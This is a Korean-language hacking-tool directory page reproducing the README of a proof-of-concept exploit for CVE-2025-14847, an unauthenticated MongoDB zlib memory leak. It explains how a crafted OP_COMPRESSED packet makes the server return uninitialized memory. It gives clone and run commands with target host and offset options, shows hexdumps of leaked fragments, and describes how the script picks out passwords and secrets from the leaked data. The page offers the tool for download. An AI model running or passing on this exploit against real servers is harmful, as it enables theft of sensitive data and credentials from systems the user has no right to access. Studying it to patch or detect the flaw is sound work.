Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-14847 — CVE-2025-14847 – MongoDB 비인증 메모리 누수 익스플로잇 | Kitploit
도구/GitHubGitHub/lincemorado97/cve-2025-14847
Memory ForensicsVulnerability AnalysisExploitationData ExfiltrationPenetration TestingDatabase Security
GitHublincemorado97/cve-2025-14847

CVE-2025-14847

CVE-2025-14847 – MongoDB 비인증 메모리 누수 익스플로잇

저장소 보기
137개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-14847 – MongoDB 비인증 메모리 누수 익스플로잇

개요

MongoDB zlib 압축 해제 취약점에 대한 개념 증명(PoC) 익스플로잇으로, 인증되지 않은 공격자가 서버의 민감한 메모리를 읽을 수 있게 합니다.
이 PoC는 Python 3로 구현되었으며, 악의적인 OP_COMPRESSED 패킷이 버그를 유발하여 MongoDB가 초기화되지 않은 메모리를 BSON 데이터로 반환하도록 만드는 방법을 보여줍니다.


익스플로잇이 하는 일

이 취약점은 MongoDB의 zlib 메시지 압축 해제의 결함으로 인해 발생합니다:

  1. 부풀려진 uncompressedSize 값을 가진 압축 메시지가 전송됩니다.
  2. MongoDB는 해당 부풀려진 값을 기준으로 큰 버퍼를 할당합니다.
  3. zlib은 실제 데이터를 해당 버퍼의 시작 부분에 압축 해제합니다.
  4. MongoDB는 전체 버퍼를 유효한 데이터로 취급하여 초기화되지 않은 메모리를 읽게 됩니다.
  5. 그런 다음 BSON 파싱은 해당 메모리에서 null 바이트를 만날 때까지 "필드 이름"을 읽어 숨겨진 데이터를 노출합니다.

PoC는 조작된 OP_COMPRESSED 패킷을 전송하고 서버의 오류 응답을 파싱하여 누출된 데이터 조각을 복구합니다.


사전 요구 사항

구성 요소버전설명
Python≥ 3.8스크립트는 Python 3 전용입니다
MongoDB≥ 4.4대상은 CVE-2025-14847에 취약해야 합니다
선택 사항requirements.txt저장소에 포함되어 있습니다

설치

root@kitploit:~
# Clone the repo (or copy the script)
git clone https://github.com/lincemorado97/CVE-2025-14847.git
cd cve-2025-14847

# (Optional) Install required Python packages
pip install -r requirements.txt

사용법

root@kitploit:~
python exploit.py [OPTIONS]

예시:

root@kitploit:~
python exploit.py --host 10.0.0.5 --port 27017 --min-offset 50 --max-offset 5000 --output leaks.bin

예시

root@kitploit:~
$ python3 exploit.py 
11:02:41 CVE-2025-14847     INFO │ [*] Target: localhost:27017
11:02:41 CVE-2025-14847     INFO │ [*] Scanning offsets 20-8192
11:02:41 CVE-2025-14847     INFO │ Offset      Hex                                              ASCII
11:02:41 CVE-2025-14847     INFO │ ---------------------------------------------------------------------------
11:02:41 CVE-2025-14847     INFO │ 00000000:  20 6f 62 6a 65 63 74 20 77 69 74 68 20 75 6e 6b  | object with unk|
11:02:41 CVE-2025-14847     INFO │ 00000010:  6e 6f 77 6e 20 5f 69 64                          |nown _id|
11:02:41 CVE-2025-14847     INFO │ [+] offset=  39 len=  24:
11:02:45 CVE-2025-14847     INFO │ Offset      Hex                                              ASCII
11:02:45 CVE-2025-14847     INFO │ ---------------------------------------------------------------------------
11:02:45 CVE-2025-14847     INFO │ 00000000:  73 20 73 6b 69 70 70 65 64 20 64 75 72 69 6e 67  |s skipped during|
11:02:45 CVE-2025-14847     INFO │ 00000010:  20 74 72 65 65 20 77 61 6c 6b                    | tree walk|
11:02:45 CVE-2025-14847     INFO │ [+] offset=3064 len=  26:
11:02:50 CVE-2025-14847     INFO │ Offset      Hex                                              ASCII
....
11:02:50 CVE-2025-14847     INFO │ [+] offset=6663 len=  38:
11:02:52 CVE-2025-14847  SUCCESS │ [*] Total leaked: 496 bytes
11:02:52 CVE-2025-14847  SUCCESS │ [*] Unique fragments: 85
11:02:52 CVE-2025-14847  SUCCESS │ [*] Saved to: leaked.bin

이 스크립트는 흥미로운 각 조각(길이 > 10바이트)을 로그로 기록하고 hexdump 뷰를 출력합니다. 누출된 모든 데이터는 leaked.bin에 추가됩니다.

demo


출력 이해하기

  • Hexdump: 누출된 데이터의 일부를 16진수와 ASCII로 표시합니다.
  • 로그 라인: [+] offset= <doc_len> len= <len>은 조각이 발견된 위치를 나타냅니다.
  • 총 누출량: 출력 파일에 기록된 바이트 수입니다.
  • 고유 조각: 감지된 개별 데이터 블록입니다.
  • 비밀값 탐지: 스크립트는 누출된 데이터에서 발견된 사전 정의된 패턴(password, secret 등)을 출력합니다.

참고 자료

  • CVE-2025-14847 – https://nvd.nist.gov/vuln/detail/CVE-2025-14847
  • 분석: https://www.ox.security/blog/attackers-could-exploit-zlib-to-exfiltrate-data-cve-2025-14847/

면책 조항

이 PoC는 어떠한 보증 없이 "있는 그대로" 제공됩니다. 저자는 이 스크립트로 인한 오용이나 손해에 대해 책임을 지지 않습니다. 사용에 따른 책임은 본인에게 있습니다.

도구 다운로드
옵션기본값설명
--hostlocalhost대상 MongoDB 호스트
--port27017대상 MongoDB 포트
--min-offset20탐색할 최소 문서 길이
--max-offset8192탐색할 최대 문서 길이
--outputleaked.bin누출된 데이터가 저장되는 파일